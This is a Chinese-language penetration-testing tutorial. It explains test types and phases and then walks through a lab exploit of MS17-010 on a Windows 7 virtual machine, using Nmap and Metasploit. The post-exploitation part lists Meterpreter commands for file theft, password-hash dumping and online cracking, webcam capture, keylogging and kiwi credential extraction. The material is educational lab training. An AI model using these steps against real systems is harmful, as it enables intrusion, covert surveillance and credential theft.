1. 渗透测试概述
一种通过模拟恶意攻击者的技术与方法,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响后果安全隐患的一种安全测试与评估方法。
2. 渗透测试分类
2.1 按照测试方式分类
- 黑盒测试/外部测试
- 概述:渗透测试者将从一个远程网络位置来评估目标网络基础设施,并没有任何目标网络内部拓扑等相关信息。他们完全模拟真实网络环境中的外部攻击者,采用流行的攻击技术与工具,有组织、有步骤地对目标组织进行逐步渗透和入侵,揭示目标网络中一些已或未知的安全漏洞,并评估这些漏洞能否被利用,以获取控制权或者操作业务造成资产损失等
- 优点:这种类型的测试更有利于挖掘出系统潜在的漏洞,以及脆弱环节和薄弱点等。
- 缺点:测试较为费时和费力,同时需要渗透测试者具备较高的技术能力。
- 白盒测试/内部测试
- 概述:进行白盒测试的渗透测试者可以了解到关于目标环境的所有内部和底层信息。
- 优点:以最小的代价发现和验证系统中最严重的漏洞。
- 缺点:无法有效地测试客户组织的应急响应程序,也无法判断出他们的安全防护计划对特定攻击的检测效率。
- 灰盒测试/组合测试
- 概述:白盒测试和黑盒测试基本类型的组合,它可以提供对目标系统更加深入和全面的安全审查。
- 优点:同时发挥这两种渗透测试方法的优势。
2.2 按照测试目标分类
- 主机操作系统渗透
– 概述:对Windows、Solaris、AIX、Linux、SCO、SGI等操作系统本身进行渗透测试。 - 数据库系统渗透
– 概述:对MS-SQL、Oracle、MySQL、Informix、Sybase、DB2、Access等数据库应用系统进行渗透测试。 - 应用系统渗透
– 概述:对渗透目标提供的各种应用,如ASP、CGI、JSP、PHP等组成的WWW应用进行渗透测试。 - 网络设备渗透
– 概述:对各种防火墙、入侵检测系统、网络设备进行渗透测试。
3. 渗透测试过程环节
3.1 前期交互阶段
渗透测试团队与客户组织进行交互讨论,最重要的是确定渗透测试的范围、目标、限制条件以及服务合同细节。
3.2 情报搜集阶段
渗透测试团队可以利用各种信息来源与搜集技术方法,尝试获取更多关于目标组织网络拓扑、系统配置与安全防御措施的信息。渗透测试者可以使用的情报搜集方法包括公开来源信息查询、Google Hacking、社会工程学、网络踩点、扫描探测、被动监听、服务查点等。
3.3 威胁建模阶段
在搜集到充分的情报信息之后,渗透测试团队的成员们停下敲击键盘,大家聚到一起针对获取的信息进行威胁建模(Threat Modeling)与攻击规划。
3.4 漏洞分析阶段
在该阶段,渗透测试者需要综合分析前几个阶段获取并汇总的情报信息,特别是安全漏洞扫描结果、服务查点信息等,通过搜索可获取的渗透代码资源,找出可以实施渗透攻击的攻击点,并在实验环境中进行验证。在该阶段,高水平的渗透测试团队还会针对攻击通道上的一些关键系统与服务进行安全漏洞探测与挖掘,期望找出可被利用的未知安全漏洞,并开发出渗透代码,从而打开攻击通道上的关键路径。
3.5 渗透攻击阶段
渗透测试过程中最具有魅力的环节。在此环节中,渗透测试团队需要利用他们所找出的目标系统安全漏洞,来真正入侵系统当中,获得访问控制权。
3.6 后渗透攻击阶段
整个渗透测试过程中最能够体现渗透测试团队创造力与技术能力的环节。前面的环节可以说都是在按部就班地完成非常普遍的目标,而在这个环节中,需要渗透测试团队根据目标组织的业务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。
3.7 报告阶段
渗透测试过程最终向客户组织提交,取得认可并成功获得合同付款的就是一份渗透测试报告(Reporting)。这份报告凝聚了之前所有阶段之中渗透测试团队所获取的关键情报信息、探测和发掘出的系统安全漏洞、成功渗透攻击的过程,以及造成业务影响后果的攻击途径,同时还要站在防御者的角度上,帮助他们分析安全防御体系中的薄弱环节、存在的问题,以及修补与升级技术方案。
4. 渗透测试的意义
渗透测试是站在第三者的角度来思考企业系统的安全性的,通过渗透测试可以发觉企业潜在却未纰漏的安全性问题。企业可以根据测试的结果对内部系统中的不足以及安全脆弱点进行加固以及改善,从而使企业系统变得更加安全,减低企业的风险。
5. 攻防演练
5.1 渗透测试工具介绍
-
Metasploit
- 概述:一个开源的渗透测试框架软件,也是一个逐步发展成熟的漏洞研究与渗透代码开发平台,此外也将成为支持整个渗透测试过程的安全技术集成开发与应用环境。
- 专业术语
- Exploit(渗透攻击):渗透攻击是指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、WEB应用程序漏洞攻击(例如:SQL注入、XSS等),以及利用配置错误等。
- Payload(攻击载荷):渗透攻击是指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、WEB应用程序漏洞攻击(例如:SQL注入、XSS等),以及利用配置错误等。
- ShellCode:ShellCode是渗透攻击时作为攻击载荷运行的一组机器指令。ShellCode通常用汇编语言编写。
- Module(模块):在Metasploit中一个模块是,指Metasploit框架中所使用的一段软件代码组件。
- Listener(监听器):监听器是Metasploit中用来等待接入网络连接主机的组件。
-
Kali
- 概述:Kali是基于Debian的Linux发行版,设计用于数字取证和渗透测试的操作系统,预装了许多渗透测试软件,包括nmap(端口扫描器)、Wireshark(数据包分析器)、John the Ripper(密码破解器),以及Aircrack-ng(应用于对无线局域网进行渗透测试的软件)。
-
Nmap扫描工具
- 概述:Network Mapper是目前最流行的网络扫描工具,不仅能准确探测单台主机的详细情况,而且能高效地对大范围的Ip地址扫描。能扫描目标网络上有哪些主机上存活的,哪些服务是开放的,甚至知道网络中使用了何种类型的防火墙设备等。
-
Nmap工具
- GUI版本
- 命令行版本
- GUI版本
-
Nmap优点
- 灵活 支持数十种不同的扫描方式,支持多种目标对象的扫描。
- 强大 Nmap可以用于扫描互联网上大规模的计算机。
- 可移植 支持主流的操作系统:windows /Linux/ Unix/ Mac OS等
- 简单 提供默认的操作能覆盖大部分功能,基本端口扫描
- 自由 Nmap是一款开源软件,在GPL License的范围内可以自由使用
- 社区支持 Nmap是一款开源软件,背后有强大的社区团队支持
-
Nmap基本功能
- 主机发现(Host Discovery)
- 端口扫描(Port Scanning)
- 版本侦测(Version Detection)
- 操作系统侦测(Operating System Detection)
-
Nmap常用扫描命令
- 完整的全面扫描,命令为:namp –T4 –A –v ip
- -A 选项用于使用进攻性(Aggressive)方式扫描;
- -T4 指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,速度越快,但也容易被防火墙发现;
- -v 表示显示冗余(verbosity)信息,在扫描过程中显示扫描的细节从而让用户了解当前的扫描状态。
- 扫描多台主机
- 命令为:namp ***.***.***.1 ***.***.***.2 ***.***.***.3
- 扫描整个子网,命令为:nmap 192.168.199.*
- -sT:TCP connect扫描
- -sS:TCP SYN扫描
- -sF/-sX/-sN:通过发送一些特殊的标志位以避开设备或软件的检测
- -sP:通过发送ICMP echo请求探测主机是否存活,原理同Ping
- -sU:探测目标主机开放了哪些UDP端口
- -sA:TCP ACK扫描,对防火墙上未屏蔽的端口进行探测
- -sV:获取对应端口上更为详细的服务版本信息
- -Pn:在扫描之前,不发送ICMP echo请求测试目标是否存活
- -O:启动对于TCP/IP协议栈的指纹特征扫描以获取远程主机的操作系统类型等信息
- -F:快速扫描模式,只扫描在nmap-services中列出的端口
- 其中-s表示隐蔽式扫描,速度更快。
- 完整的全面扫描,命令为:namp –T4 –A –v ip
5.2 环境搭建
5.2.1 搭建环境
- 漏洞编号:MS17-010
- SMBv1协议,该协议使用的是445端口。
- 漏洞官方描述:MS17-010漏洞描述
- 虚拟机环境
- 工具:Vmware Workstation 14
- 系统:Kali + win7,通过Net方式连接;靶机环境:win7
5.3 实战渗透
- 将kali和win7通过NAT方式配置在一个网段中。
-
kail环境
- 网络地址:192.168.102.131
- 网络地址:192.168.102.131
-
win7环境
- 网络地址:192.168.102.132
- 网络地址:192.168.102.132
-
- 确保kali可以ping通win7:ping 192.168.102.132 -c 4
5.3.2 信息收集
- 使用Nmap进行信息搜集:nmap -A -T4 -v -Pn 192.168.102.132
5.3.3 使用Metasploitable渗透攻击
-
启动msf,命令为: msfconsole
-
搜索漏洞,命令为: search ms17-010
上图中的0,1,4为exploit攻击模块;2,3为auxiliary辅助模块。 -
使用序号为3的auxiliary/scanner/smb/smb_ms17_010辅助模块来确定漏洞是否存在,命令为use 3。
-
然后查看该模块需要修改的参数,命令:show options
Required的是yes表示必填项,可以看到缺少RHOSTS -
设置攻击目标,set rhosts 192.168.102.132,再去查看参数的话就可以发现RHOSTS已经填好了。
-
运行扫描模块,命令:run。扫描结果显示,靶机存在ms17-010漏洞。
-
使用攻击模块0进行攻击,命令:use 0,提示设置payload。
-
设置rhosts和lhosts
- set rhosts 192.168.102.132 win7主机
- set lhosts 192.168.102.131 kali主机
-
检查参数配置无误后就可以进行攻击,命令:run或exploit
5.3.4 攻击成功,接下来可以对该主机进行操作了。
- 截屏,命令:screenshot
- 上传文件到win7中
- 命令:upload 文件名,会默认上传到C:\Windows\System32
- 命令:upload 文件名,会默认上传到C:\Windows\System32
- 从Win7主机中下载文件到kali中:download c:\test.jpeg /home/kali
- 查看权限:getuid,得知权限为管理员权限。使用shell命令进入window7系统
- 获取密码:hashdump进行Hash攻击(注意,在非system权限下会出现失败)。Hashdump Meterpreter脚本可 以从目标机器中提取Hash值,破解Hash值即可获得登录密码。
- 通过网站解密hash值:https://www.cmd5.com/
- 通过网站解析密码,如下:
- 通过网站解密hash值:https://www.cmd5.com/
- 操作摄像头
- webcam_list: 查看摄像头
- webcam_snap: 通过摄像头拍照
- webcam_stream: 通过摄像头开启视频
- 键盘监听:
- ps // 查看windows系统运行进程
- migrate -P 进程的PID
- keyscan_start // 开始监听
- keyscan_dump // 获取监听
- keyscan_stop // 停止监听
- 工具kiwi抓取密码的命令
- load kiwi
- creds_wdigest